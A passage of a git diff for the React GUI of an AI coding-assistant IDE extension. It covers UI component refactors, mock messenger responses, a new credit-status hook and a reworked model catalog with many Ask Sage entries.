toggleExpand = () => { - if (isRuleLong) { - setExpanded(!expanded); - } - }; + const openRule = useOpenRule(); return (
openRule(rule)} >
{isGlobal ? ( @@ -88,21 +43,8 @@ export function RulesPeekItem({ rule }: RulesPeekItemProps) {
-
- {displayedRule} - {isRuleLong && ( - - {expanded ? "(collapse)" : "(expand)"} - - )} -
- Source: {getSourceLabel(rule)} + Source: {getRuleSourceDisplayName(rule)}
); diff --git a/gui/src/components/mainInput/types.d.ts b/gui/src/components/mainInput/types.d.ts index 70f5a5c61..fa23807bf 100644 --- a/gui/src/components/mainInput/types.d.ts +++ b/gui/src/components/mainInput/types.d.ts @@ -1,4 +1,4 @@ -import { ContextProviderDescription } from "core"; +import { ContextProviderDescription, SlashCommandSource } from "core"; export type ComboBoxItemType = | "contextProvider" @@ -26,4 +26,5 @@ export interface ComboBoxItem { icon?: string; action?: () => void; subActions?: ComboBoxSubAction[]; + slashCommandSource?: SlashCommandSource; } diff --git a/gui/src/components/modelSelection/ModelSelect.tsx b/gui/src/components/modelSelection/ModelSelect.tsx index 10fa941ab..b4159314f 100644 --- a/gui/src/components/modelSelection/ModelSelect.tsx +++ b/gui/src/components/modelSelection/ModelSelect.tsx @@ -5,17 +5,15 @@ import { CubeIcon, PlusIcon, } from "@heroicons/react/24/outline"; -import { useContext, useEffect, useRef, useState } from "react"; +import { useEffect, useRef, useState } from "react"; import { useNavigate } from "react-router-dom"; import { useAuth } from "../../context/Auth"; -import { IdeMessengerContext } from "../../context/IdeMessenger"; import { AddModelForm } from "../../forms/AddModelForm"; import { useAppDispatch, useAppSelector } from "../../redux/hooks"; import { setDialogMessage, setShowDialog } from "../../redux/slices/uiSlice"; import { updateSelectedModelByRole } from "../../redux/thunks/updateSelectedModelByRole"; import { getMetaKeyLabel, isMetaEquivalentKeyPressed } from "../../util"; import { CONFIG_ROUTES } from "../../util/navigation"; -import { ToolTip } from "../gui/Tooltip"; import { Button, Listbox, @@ -52,6 +50,15 @@ function modelSelectTitle(model: any): string { return model?.class_name; } +/**makeshift way to close the headlessui listbox due to absence of open state on the listbox */ +function closeDropDown(button: HTMLButtonElement | null) { + if (!button) return; + button.classList.add("hidden"); + setTimeout(() => { + button.classList.remove("hidden"); + }); +} + function ModelOption({ option, idx, @@ -117,7 +124,6 @@ function ModelSelect() { const isInEdit = useAppSelector((store) => store.session.isInEdit); const config = useAppSelector((state) => state.config.config); const isConfigLoading = useAppSelector((state) => state.config.loading); - const ideMessenger = useContext(IdeMessengerContext); const buttonRef = useRef(null); const [options, setOptions] = useState([]); const [sortedOptions, setSortedOptions] = useState([]); @@ -201,10 +207,8 @@ function ModelSelect() { e.stopPropagation(); e.preventDefault(); - // Close the dropdown - if (buttonRef.current) { - buttonRef.current.click(); - } + closeDropDown(buttonRef.current); + dispatch(setShowDialog(true)); dispatch( setDialogMessage( @@ -221,10 +225,7 @@ function ModelSelect() { e.stopPropagation(); e.preventDefault(); - // Close the dropdown - if (buttonRef.current) { - buttonRef.current.click(); - } + closeDropDown(buttonRef.current); navigate(CONFIG_ROUTES.MODELS); } diff --git a/gui/src/components/ui/Button.tsx b/gui/src/components/ui/Button.tsx index 690a72bb3..e4cf466e3 100644 --- a/gui/src/components/ui/Button.tsx +++ b/gui/src/components/ui/Button.tsx @@ -40,7 +40,7 @@ const Button = React.forwardRef( className={cn( "cursor-pointer transition-all duration-200", "hover:enabled:cursor-pointer", - "disabled:text-description-muted disabled:pointer-events-none disabled:opacity-50", + "disabled:cursor-not-allowed disabled:opacity-50", buttonVariants[variant], isIcon ? iconButtonSizes[size] diff --git a/gui/src/components/ui/Card.tsx b/gui/src/components/ui/Card.tsx index 8d315c0d6..2b1a53f68 100644 --- a/gui/src/components/ui/Card.tsx +++ b/gui/src/components/ui/Card.tsx @@ -1,3 +1,5 @@ +import { cn } from "../../util/cn"; + interface CardProps extends React.ComponentProps<"div"> { children: React.ReactNode; } @@ -5,8 +7,8 @@ interface CardProps extends React.ComponentProps<"div"> { export function Card({ children, className = "", ...props }: CardProps) { return (
{children}
diff --git a/gui/src/context/Auth.tsx b/gui/src/context/Auth.tsx index 12eebae1c..ee262d782 100644 --- a/gui/src/context/Auth.tsx +++ b/gui/src/context/Auth.tsx @@ -50,25 +50,27 @@ export const AuthProvider: React.FC<{ children: React.ReactNode }> = ({ const currentOrg = useAppSelector(selectCurrentOrg); const selectedProfile = useAppSelector(selectSelectedProfile); - const login: AuthContextType["login"] = (useOnboarding: boolean) => { - return new Promise(async (resolve) => { - await ideMessenger - .request("getControlPlaneSessionInfo", { - silent: false, - useOnboarding, - }) - .then((result) => { - if (result.status === "error") { - resolve(false); - return; - } + const login: AuthContextType["login"] = async (useOnboarding: boolean) => { + try { + const result = await ideMessenger.request("getControlPlaneSessionInfo", { + silent: false, + useOnboarding, + }); - const session = result.content; - setSession(session); + if (result.status === "error") { + console.error("Login failed:", result.error); + return false; + } - resolve(true); - }); - }); + const session = result.content; + setSession(session); + + return true; + } catch (error: any) { + console.error("Login request failed:", error); + // Let the error propagate so the caller can handle it + throw error; + } }; const logout = () => { diff --git a/gui/src/context/IdeMessenger.tsx b/gui/src/context/IdeMessenger.tsx index e30f39ccf..ab028a139 100644 --- a/gui/src/context/IdeMessenger.tsx +++ b/gui/src/context/IdeMessenger.tsx @@ -220,7 +220,7 @@ export class IdeMessenger implements IIdeMessenger { try { while (!done) { if (error) { - throw error; + throw new Error(error); } if (buffer.length > index) { const chunks = buffer.slice(index); diff --git a/gui/src/context/LocalStorage.tsx b/gui/src/context/LocalStorage.tsx index 4e5df8c1b..bcda2698e 100644 --- a/gui/src/context/LocalStorage.tsx +++ b/gui/src/context/LocalStorage.tsx @@ -18,13 +18,41 @@ export const LocalStorageProvider: React.FC<{ children: React.ReactNode }> = ({ }) => { const [values, setValues] = useState(DEFAULT_LOCAL_STORAGE); - // TODO setvalue - useEffect(() => { + // Helper function to sync state with localStorage + const syncWithLocalStorage = () => { const isJetbrains = getLocalStorage("ide") === "jetbrains"; - let fontSize = getLocalStorage("fontSize") ?? (isJetbrains ? 15 : 14); - setValues({ + const fontSize = getLocalStorage("fontSize") ?? (isJetbrains ? 15 : 14); + + setValues((prev) => ({ + ...prev, fontSize, - }); + })); + }; + + // Initialize with values from localStorage + useEffect(() => { + syncWithLocalStorage(); + }, []); + + // Listen for current tab changes using CustomEvent + useEffect(() => { + const handleLocalStorageChange = (event: CustomEvent) => { + if (event.detail?.key === "fontSize") { + syncWithLocalStorage(); + } + }; + + window.addEventListener( + "localStorageChange", + handleLocalStorageChange as EventListener, + ); + + return () => { + window.removeEventListener( + "localStorageChange", + handleLocalStorageChange as EventListener, + ); + }; }, []); return ( diff --git a/gui/src/context/MockIdeMessenger.ts b/gui/src/context/MockIdeMessenger.ts index 1669612e1..e7f78252d 100644 --- a/gui/src/context/MockIdeMessenger.ts +++ b/gui/src/context/MockIdeMessenger.ts @@ -33,33 +33,18 @@ const DEFAULT_MOCK_CORE_RESPONSES: MockResponses = { contents: "Current file contents", path: "file:///Users/user/workspace1/current_file.py", }, - "controlPlane/getFreeTrialStatus": { - autocompleteLimit: 1000, + "controlPlane/getCreditStatus": { optedInToFreeTrial: false, - chatLimit: 1000, - autocompleteCount: 0, - chatCount: 0, + creditBalance: 0, + hasCredits: false, + hasPurchasedCredits: false, }, getWorkspaceDirs: [ "file:///Users/user/workspace1", "file:///Users/user/workspace2", ], - "history/list": [ - { - title: "Session 1", - sessionId: "session-1", - dateCreated: new Date().toString(), - workspaceDirectory: "/tmp", - }, - { - title: "Remote Agent", - sessionId: "remote-agent-123", - dateCreated: new Date().toString(), - workspaceDirectory: "", - isRemote: true, - remoteId: "agent-123", - }, - ], + "history/list": [], + "docs/getIndexedPages": [], "history/save": undefined, getControlPlaneSessionInfo: { AUTH_TYPE: AuthType.WorkOsStaging, @@ -70,14 +55,37 @@ const DEFAULT_MOCK_CORE_RESPONSES: MockResponses = { }, }, "config/getSerializedProfileInfo": { - organizations: [], - profileId: "test-profile", + organizations: [ + { + id: "personal", + profiles: [ + { + title: "Local Agent", + id: "local", + errors: [], + profileType: "local", + uri: "", + iconUrl: "", + fullSlug: { + ownerSlug: "", + packageSlug: "", + versionSlug: "", + }, + }, + ], + slug: "", + selectedProfileId: "local", + name: "Personal", + iconUrl: "", + }, + ], + profileId: "local", result: { config: undefined, errors: [], configLoadInterrupted: false, }, - selectedOrgId: "local", + selectedOrgId: "personal", }, "chatDescriber/describe": "Session summary", applyToFile: undefined, @@ -92,6 +100,10 @@ const DEFAULT_MOCK_CORE_RESPONSES: MockResponses = { }, ], }, + "context/getSymbolsForFiles": {}, + "tools/preprocessArgs": { + preprocessedArgs: undefined, + }, "llm/compileChat": { compiledChatMessages: [], didPrune: false, @@ -112,6 +124,16 @@ const DEFAULT_MOCK_CORE_RESPONSES: MockResponses = { }, }, ], + listBackgroundAgents: { agents: [], totalCount: 0 }, +}; + +const DEFAULT_MOCK_CORE_RESPONSE_HANDLERS: MockResponseHandlers = { + "tools/evaluatePolicy": async (data) => { + return { + policy: data.basePolicy, + displayValue: undefined, + }; + }, }; const DEFAULT_CHAT_RESPONSE: ChatMessage[] = [ @@ -165,7 +187,9 @@ export class MockIdeMessenger implements IIdeMessenger { } responses: MockResponses = { ...DEFAULT_MOCK_CORE_RESPONSES }; - responseHandlers: MockResponseHandlers = {}; + responseHandlers: MockResponseHandlers = { + ...DEFAULT_MOCK_CORE_RESPONSE_HANDLERS, + }; chatResponse: ChatMessage[] = DEFAULT_CHAT_RESPONSE; chatStreamDelay: number = 0; setChatResponseText(text: string): void { @@ -253,7 +277,7 @@ export class MockIdeMessenger implements IIdeMessenger { resetMocks(): void { this.responses = { ...DEFAULT_MOCK_CORE_RESPONSES }; - this.responseHandlers = {}; + this.responseHandlers = { ...DEFAULT_MOCK_CORE_RESPONSE_HANDLERS }; this.chatResponse = DEFAULT_CHAT_RESPONSE; this.chatStreamDelay = 0; } diff --git a/gui/src/forms/AddModelForm.tsx b/gui/src/forms/AddModelForm.tsx index 5de78133c..61a714299 100644 --- a/gui/src/forms/AddModelForm.tsx +++ b/gui/src/forms/AddModelForm.tsx @@ -134,22 +134,6 @@ export function AddModelForm({

Add Chat model

- {/* TODO sync free trial limit with hub */} - {/* {!hideFreeTrialLimitMessage && hasPassedFTL() && ( -

- You've reached the free trial limit of {FREE_TRIAL_LIMIT_REQUESTS}{" "} - free inputs. To keep using Continue, you can either use your own - API key, or use a local LLM. To read more about the options, see - our{" "} - ideMessenger.post("openUrl", CONTINUE_SETUP_URL)} - > - documentation - - . -

- )} */} -
diff --git a/gui/src/hooks/ParallelListeners.tsx b/gui/src/hooks/ParallelListeners.tsx index 510733da9..172ab5f9d 100644 --- a/gui/src/hooks/ParallelListeners.tsx +++ b/gui/src/hooks/ParallelListeners.tsx @@ -1,4 +1,4 @@ -import { useCallback, useContext, useEffect, useRef } from "react"; +import { useCallback, useContext, useEffect, useRef, useState } from "react"; import { IdeMessengerContext } from "../context/IdeMessenger"; import { FromCoreProtocol } from "core/protocol"; @@ -14,15 +14,17 @@ import { } from "../redux/slices/profilesSlice"; import { addContextItemsAtIndex, + newSession, setHasReasoningEnabled, setIsSessionMetadataLoading, + setMode, } from "../redux/slices/sessionSlice"; import { setTTSActive } from "../redux/slices/uiSlice"; import { modelSupportsReasoning } from "core/llm/autodetect"; import { cancelStream } from "../redux/thunks/cancelStream"; import { handleApplyStateUpdate } from "../redux/thunks/handleApplyStateUpdate"; -import { refreshSessionMetadata } from "../redux/thunks/session"; +import { loadSession, refreshSessionMetadata } from "../redux/thunks/session"; import { updateFileSymbolsFromHistory } from "../redux/thunks/updateFileSymbols"; import { setDocumentStylesFromLocalStorage, @@ -45,6 +47,8 @@ function ParallelListeners() { // Load symbols for chat on any session change const sessionId = useAppSelector((state) => state.session.id); + const lastSessionId = useAppSelector((store) => store.session.lastSessionId); + const [initialSessionId] = useState(sessionId || lastSessionId); const handleConfigUpdate = useCallback( async (isInitial: boolean, result: FromCoreProtocol["configUpdate"][0]) => { @@ -104,6 +108,14 @@ function ParallelListeners() { await handleConfigUpdate(true, result.content); } dispatch(setConfigLoading(false)); + if (initialSessionId) { + await dispatch( + loadSession({ + sessionId: initialSessionId, + saveCurrentSession: false, + }), + ); + } } void initialLoadConfig(); const interval = setInterval(() => { @@ -121,7 +133,7 @@ function ParallelListeners() { }, 2_000); return () => clearInterval(interval); - }, [hasDoneInitialConfigLoad, ideMessenger]); + }, [hasDoneInitialConfigLoad, ideMessenger, initialSessionId]); useWebviewListener( "configUpdate", @@ -205,6 +217,11 @@ function ParallelListeners() { void dispatch(cancelStream()); }); + useWebviewListener("loadAgentSession", async (data) => { + dispatch(newSession(data.session)); + dispatch(setMode("agent")); + }); + useWebviewListener("setTTSActive", async (status) => { dispatch(setTTSActive(status)); }); diff --git a/gui/src/hooks/useCredits.ts b/gui/src/hooks/useCredits.ts new file mode 100644 index 000000000..8f2a4bb45 --- /dev/null +++ b/gui/src/hooks/useCredits.ts @@ -0,0 +1,59 @@ +import { usesCreditsBasedApiKey } from "core/config/usesFreeTrialApiKey"; +import { CreditStatus } from "core/control-plane/client"; +import { isOutOfStarterCredits } from "core/llm/utils/starterCredits"; +import { useCallback, useContext, useEffect, useState } from "react"; +import { IdeMessengerContext } from "../context/IdeMessenger"; +import { useAppSelector } from "../redux/hooks"; +import { getLocalStorage } from "../util/localStorage"; + +export function useCreditStatus() { + const config = useAppSelector((state) => state.config.config); + const ideMessenger = useContext(IdeMessengerContext); + const [creditStatus, setCreditStatus] = useState(null); + + const hasExitedFreeTrial = getLocalStorage("hasExitedFreeTrial"); + const usingCreditsBasedApiKey = usesCreditsBasedApiKey(config); + const isUsingFreeTrial = usingCreditsBasedApiKey && !hasExitedFreeTrial; + const outOfStarterCredits = creditStatus + ? isOutOfStarterCredits(usingCreditsBasedApiKey, creditStatus) + : false; + + const refreshCreditStatus = useCallback(async () => { + try { + const resp = await ideMessenger.request( + "controlPlane/getCreditStatus", + undefined, + ); + if (resp.status === "success") { + setCreditStatus(resp.content); + } + } catch (error) { + console.error("Failed to refresh credit status", error); + } + }, [ideMessenger]); + + useEffect(() => { + void refreshCreditStatus(); + + let intervalId: NodeJS.Timeout | null = null; + + if (isUsingFreeTrial) { + intervalId = setInterval(() => { + void refreshCreditStatus(); + }, 15000); + } + + return () => { + if (intervalId) { + clearInterval(intervalId); + } + }; + }, [isUsingFreeTrial, refreshCreditStatus]); + + return { + creditStatus, + outOfStarterCredits, + isUsingFreeTrial, + refreshCreditStatus, + }; +} diff --git a/gui/src/hooks/useLLMLog.ts b/gui/src/hooks/useLLMLog.ts index 3b20d1628..e61506a86 100644 --- a/gui/src/hooks/useLLMLog.ts +++ b/gui/src/hooks/useLLMLog.ts @@ -10,6 +10,7 @@ import { LLMInteractionSuccess, } from "core"; import { useEffect, useReducer } from "react"; +import { v4 as uuidv4 } from "uuid"; declare const vscode: any; @@ -231,7 +232,7 @@ export default function useLLMLog() { // messages from the previous generation. In particular, this // avoids problems when React.StrictMode runs this effect // twice - we don't want to process two "init" messages. - const uuid = crypto.randomUUID(); + const uuid = uuidv4(); const onMessage = (event: MessageEvent) => { if (event.data.uuid !== uuid) { return; diff --git a/gui/src/pages/AddNewModel/configs/models.ts b/gui/src/pages/AddNewModel/configs/models.ts index 9ae8e4142..941b0be46 100644 --- a/gui/src/pages/AddNewModel/configs/models.ts +++ b/gui/src/pages/AddNewModel/configs/models.ts @@ -514,7 +514,7 @@ export const models: { [key: string]: ModelPackage } = { contextLength: 8192, }, icon: "meta.png", - providerOptions: ["groq", "askSage"], + providerOptions: ["groq"], isOpenSource: false, }, llama318bChat: { @@ -592,7 +592,7 @@ export const models: { [key: string]: ModelPackage } = { contextLength: 8192, }, icon: "meta.png", - providerOptions: ["ollama", "groq", "llama.cpp", "sambanova", "nebius"], + providerOptions: ["ollama", "groq", "llama.cpp", "nebius"], isOpenSource: false, }, llama323bChat: { @@ -605,7 +605,7 @@ export const models: { [key: string]: ModelPackage } = { contextLength: 8192, }, icon: "meta.png", - providerOptions: ["ollama", "groq", "llama.cpp", "sambanova", "together"], + providerOptions: ["ollama", "groq", "llama.cpp", "together"], isOpenSource: false, }, llama3211bChat: { @@ -841,7 +841,7 @@ export const models: { [key: string]: ModelPackage } = { contextLength: 32000, }, icon: "mistral.png", - providerOptions: ["mistral", "askSage"], + providerOptions: ["mistral"], isOpenSource: false, }, mistralNemo: { @@ -856,46 +856,6 @@ export const models: { [key: string]: ModelPackage } = { icon: "mistral.png", isOpenSource: true, }, - geminiPro: { - title: "Gemini Pro", - description: "A highly capable model created by Google DeepMind", - params: { - title: "Gemini Pro", - model: "gemini-pro", - contextLength: 32_000, - apiKey: "", - }, - icon: "gemini.png", - providerOptions: ["gemini"], - isOpenSource: false, - }, - gemini15Pro: { - title: "Gemini 1.5 Pro", - description: "A newer Gemini model with 1M token context length", - params: { - title: "Gemini 1.5 Pro", - model: "gemini-1.5-pro-latest", - contextLength: 2_000_000, - apiKey: "", - }, - icon: "gemini.png", - providerOptions: ["gemini", "askSage"], - isOpenSource: false, - }, - gemini15Flash: { - title: "Gemini 1.5 Flash", - description: - "Fast and versatile multimodal model for scaling across diverse tasks", - params: { - title: "Gemini 1.5 Flash", - model: "gemini-1.5-flash-latest", - contextLength: 1_000_000, - apiKey: "", - }, - icon: "gemini.png", - providerOptions: ["gemini"], - isOpenSource: false, - }, gemini20Flash: { title: "Gemini 2.0 Flash", description: @@ -938,20 +898,7 @@ export const models: { [key: string]: ModelPackage } = { providerOptions: ["gemini"], isOpenSource: false, }, - gemini25ProExp: { - title: "Gemini 2.5 Pro Experimental", - description: - "Experimental version of Gemini 2.5 Pro with enhanced capabilities and larger output limits.", - params: { - title: "Gemini 2.5 Pro Experimental", - model: "gemini-2.5-pro-exp-03-25", - contextLength: 1_048_576, - apiKey: "", - }, - icon: "gemini.png", - providerOptions: ["gemini"], - isOpenSource: false, - }, + gemini25Pro: { title: "Gemini 2.5 Pro", description: @@ -1132,6 +1079,19 @@ export const models: { [key: string]: ModelPackage } = { icon: "openai.png", isOpenSource: false, }, + gpt5Codex: { + title: "GPT-5 Codex", + description: + "OpenAI's most advanced code generation model, optimized for programming tasks", + params: { + model: "gpt-5-codex", + contextLength: 400_000, + title: "GPT-5 Codex", + }, + providerOptions: ["openai"], + icon: "openai.png", + isOpenSource: false, + }, gpt4turbo: { title: "GPT-4 Turbo", description: @@ -1154,7 +1114,7 @@ export const models: { [key: string]: ModelPackage } = { contextLength: 128_000, title: "GPT-4o", }, - providerOptions: ["openai", "askSage"], + providerOptions: ["openai"], icon: "openai.png", isOpenSource: false, }, @@ -1165,9 +1125,10 @@ export const models: { [key: string]: ModelPackage } = { params: { model: "gpt-4o-mini", contextLength: 128_000, + title: "GPT-4o mini", }, - providerOptions: ["openai", "askSage"], + providerOptions: ["openai"], icon: "openai.png", isOpenSource: false, }, @@ -1180,7 +1141,7 @@ export const models: { [key: string]: ModelPackage } = { contextLength: 8096, title: "GPT-3.5-Turbo", }, - providerOptions: ["openai", "askSage"], + providerOptions: ["openai"], icon: "openai.png", isOpenSource: false, }, @@ -1194,7 +1155,7 @@ export const models: { [key: string]: ModelPackage } = { title: "Claude 4 Sonnet", apiKey: "", }, - providerOptions: ["anthropic", "askSage"], + providerOptions: ["anthropic"], icon: "anthropic.png", isOpenSource: false, }, @@ -1207,7 +1168,7 @@ export const models: { [key: string]: ModelPackage } = { title: "Claude 4.1 Opus", apiKey: "", }, - providerOptions: ["anthropic", "askSage"], + providerOptions: ["anthropic"], icon: "anthropic.png", isOpenSource: false, }, @@ -1358,31 +1319,6 @@ export const models: { [key: string]: ModelPackage } = { providerOptions: ["watsonx"], isOpenSource: false, }, - VertexGemini15Pro: { - title: "Gemini 1.5 Pro", - description: "A newer Gemini model with 1M token context length", - params: { - title: "Gemini 1.5 Pro", - model: "gemini-1.5-pro-002", - contextLength: 2_097_152, - }, - icon: "gemini.png", - providerOptions: ["vertexai"], - isOpenSource: false, - }, - VertexGemini15Flash: { - title: "Gemini 1.5 Flash", - description: - "Fast and versatile multimodal model for scaling across diverse tasks", - params: { - title: "Gemini 1.5 Flash", - model: "gemini-1.5-flash-002", - contextLength: 1_048_576, - }, - icon: "gemini.png", - providerOptions: ["vertexai"], - isOpenSource: false, - }, vertexMistralLarge: { title: "Mistral Large", description: @@ -1396,135 +1332,382 @@ export const models: { [key: string]: ModelPackage } = { providerOptions: ["vertexai"], isOpenSource: false, }, + // OpenAI Models via Ask Sage + asksagegpt4o: { + title: "GPT-4o*", + description: + "An even faster version of GPT-4 with stronger multi-modal capabilities.", + params: { + model: "gpt-4o", + contextLength: 128_000, + maxTokens: 16_384, + title: "GPT-4o*", + apiKey: "", + }, + providerOptions: ["askSage"], + icon: "openai.png", + isOpenSource: false, + }, + asksagegpt4omini: { + title: "GPT-4o Mini*", + description: + "A model at less than half the price of gpt-3.5-turbo, but near gpt-4 in capabilities.", + params: { + model: "gpt-4o-mini", + contextLength: 128_000, + maxTokens: 16_384, + title: "GPT-4o mini*", + apiKey: "", + }, + providerOptions: ["askSage"], + icon: "openai.png", + isOpenSource: false, + }, asksagegpt4gov: { - title: "GPT-4 gov", + title: "GPT-4 gov*", description: "U.S. Government. Most capable model today - which is similar to GPT-4 but approved for use by the U.S. Government.", params: { model: "gpt4-gov", contextLength: 128_000, - title: "GPT-4 gov", + maxTokens: 4096, + title: "GPT-4 gov*", + apiKey: "", }, providerOptions: ["askSage"], icon: "openai.png", isOpenSource: false, }, asksagegpt4ogov: { - title: "GPT-4o gov", + title: "GPT-4o gov*", description: "U.S. Government. Most capable model today - which is similar to GPT-4o but approved for use by the U.S. Government.", params: { model: "gpt-4o-gov", contextLength: 128_000, - title: "GPT-4o-gov", + maxTokens: 4096, + title: "GPT-4o-gov*", + apiKey: "", + }, + providerOptions: ["askSage"], + icon: "openai.png", + isOpenSource: false, + }, + asksagegpt35: { + title: "GPT-3.5*", + description: "Azure OpenAI GPT 3.5 Model.", + params: { + model: "gpt", + contextLength: 4096, + title: "GPT-3.5*", + apiKey: "", }, providerOptions: ["askSage"], icon: "openai.png", isOpenSource: false, }, asksagegpt35gov: { - title: "GPT-3.5-Turbo gov", + title: "GPT-3.5 gov*", description: "U.S. Government. Inexpensive and good ROI.", params: { model: "gpt-gov", - contextLength: 8096, - title: "GPT-3.5-Turbo gov", + contextLength: 16834, + maxTokens: 4096, + title: "GPT-3.5 gov*", + apiKey: "", }, providerOptions: ["askSage"], icon: "openai.png", isOpenSource: false, }, asksagegpt4ominigov: { - title: "GPT-4o-mini gov", - description: - "U.S. Government. Latest OpenAI GPT 4o-mini model. More inexpensive than GPT4. Capable of ingesting and analyzing images (JPG, PNG, GIF (20MB files max)). 16,384 token response max.", + title: "GPT-4o-mini gov*", + description: "OpenAI GPT 4o-mini model.", params: { model: "gpt-4o-mini-gov", contextLength: 128_000, - title: "GPT-4o-mini gov", + maxTokens: 16_384, + title: "GPT-4o-mini gov*", + apiKey: "", }, providerOptions: ["askSage"], icon: "openai.png", isOpenSource: false, }, asksagegpt4: { - title: "GPT-4", + title: "GPT-4*", description: "GPT4 is about 5X more expensive than Ask Sage tokens and 50X more expensive than GPT3.5", params: { model: "gpt4", contextLength: 8_192, - title: "GPT-4", - }, - providerOptions: ["openai"], - icon: "openai.png", - isOpenSource: false, - }, - asksagegpt432: { - title: "GPT-4-32k", - description: - "The GPT-4-32k model is a variant of the GPT-4 model developed by OpenAI. It is designed to handle a larger context window, capable of processing up to 32,768 tokens, which makes it suitable for scenarios that require extensive information integration and data analysis", - params: { - model: "gpt4-32k", - contextLength: 32_768, - title: "GPT-4-32k", + title: "GPT-4*", + apiKey: "", }, providerOptions: ["openai"], icon: "openai.png", isOpenSource: false, }, asksagegpto1: { - title: "GPT-o1", + title: "GPT-o1*", description: "Latest OpenAI GPT-o1 model. More inexpensive than GPT4. Capable of ingesting and analyzing images (JPG, PNG, GIF (20MB files max)).", params: { model: "gpt-o1", contextLength: 128_000, - title: "GPT-o1", + maxTokens: 32_768, + title: "GPT-o1*", + apiKey: "", + }, + providerOptions: ["askSage"], + icon: "openai.png", + isOpenSource: false, // stopped here + }, + asksagegpt41: { + title: "GPT-4.1*", + description: "Azure OpenAI GPT 4.1 model.", + params: { + model: "gpt-4.1", + contextLength: 1_000_000, + maxTokens: 32_768, + title: "GPT-4.1*", + apiKey: "", }, providerOptions: ["askSage"], icon: "openai.png", isOpenSource: false, }, - asksagegpto1mini: { - title: "GPT-o1-mini", - description: - "Latest OpenAI GPT-o1-mini model. More inexpensive than GPT-o1. Capable of ingesting and analyzing images (JPG, PNG, GIF (20MB files max)). 16,384 token response max.", + asksagegpt41mini: { + title: "GPT-4.1 mini*", + description: "Azure OpenAI GPT 4.1 mini model.", params: { - model: "gpt-o1-mini", - contextLength: 128_000, - title: "GPT-o1-mini", + model: "gpt-4.1-mini", + contextLength: 1_000_000, + maxTokens: 32_768, + title: "GPT-4.1 mini*", + apiKey: "", }, providerOptions: ["askSage"], icon: "openai.png", isOpenSource: false, }, - asksagegpto3mini: { - title: "GPT-o3-mini", - description: - "o3-mini can outperform o1 in coding and other reasoning tasks, and is 93% cheaper and has lower latency. It supports function calling, Structured Outputs, streaming, and developer messages. o3-mini comes with a larger context window of 200,000 tokens and a max output of 100,000 tokens", + asksagegpt41nano: { + title: "GPT-4.1 nano*", + description: "Azure OpenAI GPT 4.1 nano model.", params: { - model: "gpt-o3-mini", + model: "gpt-4.1-nano", + contextLength: 1_000_000, + maxTokens: 32_768, + title: "GPT-4.1 nano*", + apiKey: "", + }, + providerOptions: ["askSage"], + icon: "openai.png", + isOpenSource: false, + }, + asksagegpt5: { + title: "GPT-5*", + description: "OpenAI's GPT-5 model", + params: { + model: "gpt-5", + contextLength: 272_000, + maxTokens: 128_000, + title: "GPT-5*", + apiKey: "", + }, + providerOptions: ["askSage"], + icon: "openai.png", + isOpenSource: false, + }, + asksagegpt5nano: { + title: "GPT-5-nano*", + description: "OpenAI's GPT-5-nano model", + params: { + model: "gpt-5-nano", + contextLength: 272_000, + maxTokens: 128_000, + title: "GPT-5-nano*", + apiKey: "", + }, + providerOptions: ["askSage"], + icon: "openai.png", + isOpenSource: false, + }, + asksagegpt5mini: { + title: "GPT-5-mini*", + description: "OpenAI's GPT-5-mini model", + params: { + model: "gpt-5-mini", + contextLength: 272_000, + maxTokens: 128_000, + title: "GPT-5-mini*", + apiKey: "", + }, + providerOptions: ["askSage"], + icon: "openai.png", + isOpenSource: false, + }, + asksagegpto3: { + title: "GPT-o3", + description: "Azure OpenAI GPT o3 model.", + params: { + model: "gpt-o3", contextLength: 200_000, - title: "GPT-o3-mini", + maxTokens: 100_000, + title: "GPT-o3", + apiKey: "", }, providerOptions: ["askSage"], icon: "openai.png", isOpenSource: false, }, - asksageclaude35gov: { - title: "Claude 3.5 Sonnet gov", + asksagegpt04mini: { + title: "GPT-o4-mini", + description: "Azure OpenAI GPT o4-mini model.", + params: { + model: "gpt-o4-mini", + contextLength: 200_000, + maxTokens: 100_000, + title: "GPT-o4-mini", + apiKey: "", + }, + providerOptions: ["askSage"], + icon: "openai.png", + isOpenSource: false, + }, + asksageclaude35Sonnet: { + title: "Claude 3.5 Sonnet", description: "Anthropic's most intelligent model, but much less expensive than Claude 3 Opus", params: { - model: "aws-bedrock-claude-35-sonnet-gov", + model: "claude-35-sonnet", contextLength: 200_000, - title: "Claude 3.5 Sonnet gov", + title: "Claude 3.5 Sonnet", + apiKey: "", }, providerOptions: ["askSage"], icon: "anthropic.png", isOpenSource: false, }, + asksageclaude37sonnet: { + title: "Claude 3.7 Sonnet", + description: "Anthropic's 3.7 model.", + params: { + model: "claude-37-sonnet", + contextLength: 200_000, + title: "Claude 3.7 Sonnet", + apiKey: "", + }, + providerOptions: ["askSage"], + icon: "anthropic.png", + isOpenSource: false, + }, + asksageclaude37sonnetgov: { + title: "Claude 3.7 Sonnet gov*", + description: "Anthropic's 3.7 Sonnet model.", + params: { + model: "aws-bedrock-claude-37-sonnet-gov", + contextLength: 200_000, + title: "Claude 3.7 Sonnet gov*", + apiKey: "", + }, + providerOptions: ["askSage"], + icon: "anthropic.png", + isOpenSource: false, + }, + asksageclaude35gov: { + title: "Claude 3.5 Sonnet gov*", + description: "Anthropic's 3.5 Sonnet model.", + params: { + model: "aws-bedrock-claude-35-sonnet-gov", + contextLength: 200_000, + title: "Claude 3.5 Sonnet gov*", + apiKey: "", + }, + providerOptions: ["askSage"], + icon: "anthropic.png", + isOpenSource: false, + }, + asksageclaude4s: { + title: "Claude 4 Sonnet", + description: "Anthropic's Claude 4 Sonnet", + params: { + model: "claude-4-sonnet", + contextLength: 200_000, + title: "Claude 4 Sonnet", + apiKey: "", + }, + providerOptions: ["askSage"], + icon: "anthropic.png", + isOpenSource: false, + }, + asksageclaude4o: { + title: "Claude 4 Opus", + description: "Anthropic's Claude 4 Opus", + params: { + model: "claude-4-opus", + contextLength: 200_000, + title: "Claude 4 Opus", + apiKey: "", + }, + providerOptions: ["askSage"], + icon: "anthropic.png", + isOpenSource: false, + }, + asksageclaude4sonnet: { + title: "Claude 4 Sonnet*", + description: + "Anthropic's most powerful model, designed for complex, reasoning-heavy tasks like agentic search, coding, and writing.", + params: { + model: "google-claude-4-sonnet", + contextLength: 200_000, + title: "Claude 4 Sonnet*", + apiKey: "", + }, + providerOptions: ["askSage"], + icon: "anthropic.png", + isOpenSource: false, + }, + asksageclaude45sonnet: { + title: "Claude 4.5 Sonnet*", + description: + "Anthropic's most powerful model, designed for complex, reasoning-heavy tasks like agentic search, coding, and writing.", + params: { + model: "google-claude-45-sonnet", + contextLength: 200_000, + title: "Claude 